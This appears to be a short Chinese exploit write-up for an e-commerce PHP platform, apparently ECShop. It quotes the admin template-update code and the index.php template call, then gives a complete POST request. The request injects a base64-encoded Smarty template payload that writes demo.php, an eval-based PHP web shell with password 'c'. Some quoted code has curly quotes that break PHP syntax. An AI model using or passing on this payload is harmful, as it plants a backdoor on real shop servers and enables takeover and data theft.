admin/template.phpif ($_REQUEST['act'] == ‘update_library’)
{
    check_authz_json(‘library_manage’);
    $html = stripslashes(json_str_iconv($_POST['html']));
    $lib_file = ‘../themes/’ . $_CFG['template'] . ‘/library/’ . $_POST['lib'] . ‘.lbi’; //模板文件
    $lib_file = str_replace(“0xa”, ”, $lib_file); // 过滤 0xa 非法字符
    $org_html = str_replace(“\xEF\xBB\xBF”, ”, file_get_contents($lib_file));
    if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))//写出
    {
        @file_put_contents(‘../temp/backup/library/’ . $_CFG['template'] . ‘-’ . $_POST['lib'] . ‘.lbi’, $org_html);
        make_json_result(”, $_LANG['update_lib_success']);
    }
    else
    {
        make_json_error(sprintf($_LANG['update_lib_failed'], ‘themes/’ . $_CFG['template'] . ‘/library’));
    }
}
那么找个比较方便调用了模板的文件
index.php
if ($act == ‘cat_rec’)
{
    $rec_array = array(1 => ‘best’, 2 => ‘new’, 3 => ‘hot’);
    $rec_type = !empty($_REQUEST['rec_type']) ? intval($_REQUEST['rec_type']) : ’1′;
    $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : ’0′;
    include_once(‘includes/cls_json.php’);
    $json = new JSON;
    $result   = array(‘error’ => 0, ‘content’ => ”, ‘type’ => $rec_type, ‘cat_id’ => $cat_id);

  $children = get_children($cat_id);
    $smarty->assign($rec_array[$rec_type] . ‘_goods’,      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
    $smarty->assign(‘cat_rec_sign’, 1);
    $result['content'] = $smarty->fetch(‘library/recommend_’ . $rec_array[$rec_type] . ‘.lbi’);//使用了模板文件 该模板文件为recommend_best
        echo ‘library/recommend_’ . $rec_array[$rec_type] . ‘.lbi’;
        echo $rec_array[$rec_type];
    die($json->encode($result));
}

那么就有利用方法了
post包到http://www.2cto.com /ec/admin/template.php?act=update_library
Post内容：
lib=recommend_best&html={if fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
复制代码
然后访问http://localhost/ec/index.php?act=cat_rec
shel地址：http://localhost/ec/demo.php
密码c